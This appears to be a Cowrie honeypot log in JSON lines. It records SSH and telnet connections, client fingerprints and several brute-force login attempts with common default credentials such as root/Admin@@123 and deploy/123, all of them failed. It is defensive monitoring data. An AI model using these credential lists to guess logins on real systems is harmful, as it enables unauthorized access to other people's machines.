{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:51.386778Z","src_ip":"103.248.120.6","session":"cc90676ce8f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:51.620382Z","src_ip":"103.248.120.6","session":"cc90676ce8f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:52.544818Z","src_ip":"103.248.120.6","session":"cc90676ce8f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":56900,"dst_ip":"159.203.135.109","dst_port":23,"session":"0072bc2bc067","protocol":"telnet","message":"New connection: 102.37.220.188:56900 (159.203.135.109:23) [session: 0072bc2bc067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:53.056793Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:53.626101Z","src_ip":"91.92.42.227","session":"636a16611d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:53.771552Z","src_ip":"103.248.120.6","session":"cc90676ce8f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:55.317774Z","src_ip":"91.92.42.227","session":"636a16611d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43528,"dst_ip":"10.17.0.5","dst_port":22,"session":"164a60cfa500","protocol":"ssh","message":"New connection: 91.92.42.227:43528 (10.17.0.5:22) [session: 164a60cfa500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:56.497366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:57.177802Z","src_ip":"91.92.42.227","session":"164a60cfa500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:57.182018Z","src_ip":"91.92.42.227","session":"164a60cfa500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:01.349642Z","src_ip":"91.92.42.227","session":"164a60cfa500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43570,"dst_ip":"10.17.0.5","dst_port":22,"session":"6618fd74a5f8","protocol":"ssh","message":"New connection: 91.92.42.227:43570 (10.17.0.5:22) [session: 6618fd74a5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:02.942399Z"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:03.373667Z","src_ip":"91.92.42.227","session":"164a60cfa500","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:03.846122Z","src_ip":"91.92.42.227","session":"6618fd74a5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:03.850184Z","src_ip":"91.92.42.227","session":"6618fd74a5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33372,"dst_ip":"159.203.135.109","dst_port":22,"session":"d47bd3f061fb","protocol":"ssh","message":"New connection: 27.71.230.31:33372 (159.203.135.109:22) [session: d47bd3f061fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:04.904755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:04.937034Z","src_ip":"27.71.230.31","session":"d47bd3f061fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:09.180422Z","src_ip":"91.92.42.227","session":"6618fd74a5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:09.521043Z","src_ip":"27.71.230.31","session":"d47bd3f061fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53636,"dst_ip":"10.17.0.5","dst_port":22,"session":"09857d7b2af4","protocol":"ssh","message":"New connection: 91.92.42.227:53636 (10.17.0.5:22) [session: 09857d7b2af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:09.680024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:10.869411Z","src_ip":"91.92.42.227","session":"09857d7b2af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:10.873810Z","src_ip":"91.92.42.227","session":"09857d7b2af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:11.544279Z","src_ip":"91.92.42.227","session":"6618fd74a5f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin232322","message":"login attempt [root/Admin232322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:12.565631Z","src_ip":"27.71.230.31","session":"d47bd3f061fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:14.855797Z","src_ip":"27.71.230.31","session":"d47bd3f061fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42246,"dst_ip":"10.17.0.5","dst_port":22,"session":"8733c8031b83","protocol":"ssh","message":"New connection: 91.92.42.227:42246 (10.17.0.5:22) [session: 8733c8031b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:16.064705Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:17.491390Z","src_ip":"91.92.42.227","session":"09857d7b2af4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:17.565073Z","src_ip":"91.92.42.227","session":"8733c8031b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:17.569088Z","src_ip":"91.92.42.227","session":"8733c8031b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:20.231144Z","src_ip":"91.92.42.227","session":"09857d7b2af4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5f40f4250e1","protocol":"telnet","message":"New connection: 107.6.151.170:56782 (159.203.135.109:23) [session: c5f40f4250e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:20.460040Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42306,"dst_ip":"10.17.0.5","dst_port":22,"session":"d630155a06f2","protocol":"ssh","message":"New connection: 91.92.42.227:42306 (10.17.0.5:22) [session: d630155a06f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:23.222036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:25.273871Z","src_ip":"91.92.42.227","session":"d630155a06f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:25.277327Z","src_ip":"91.92.42.227","session":"d630155a06f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:26.047062Z","src_ip":"91.92.42.227","session":"8733c8031b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.068222999572754,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:27.124889Z","src_ip":"102.37.220.188","session":"0072bc2bc067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:29.206035Z","src_ip":"91.92.42.227","session":"8733c8031b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58846,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbe255b2673","protocol":"ssh","message":"New connection: 91.92.42.227:58846 (10.17.0.5:22) [session: 1bbe255b2673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:29.762806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:33.241802Z","src_ip":"91.92.42.227","session":"1bbe255b2673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:33.244948Z","src_ip":"91.92.42.227","session":"1bbe255b2673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:35.599028Z","src_ip":"91.92.42.227","session":"d630155a06f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:38.875869Z","src_ip":"91.92.42.227","session":"d630155a06f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58514,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e47474ee163","protocol":"ssh","message":"New connection: 91.92.42.227:58514 (10.17.0.5:22) [session: 7e47474ee163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:41.308441Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:41.801075Z","src_ip":"91.92.42.227","session":"1bbe255b2673","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:03:42.621001Z","src_ip":"91.92.42.227","session":"7e47474ee163","protocol":"ssh"}
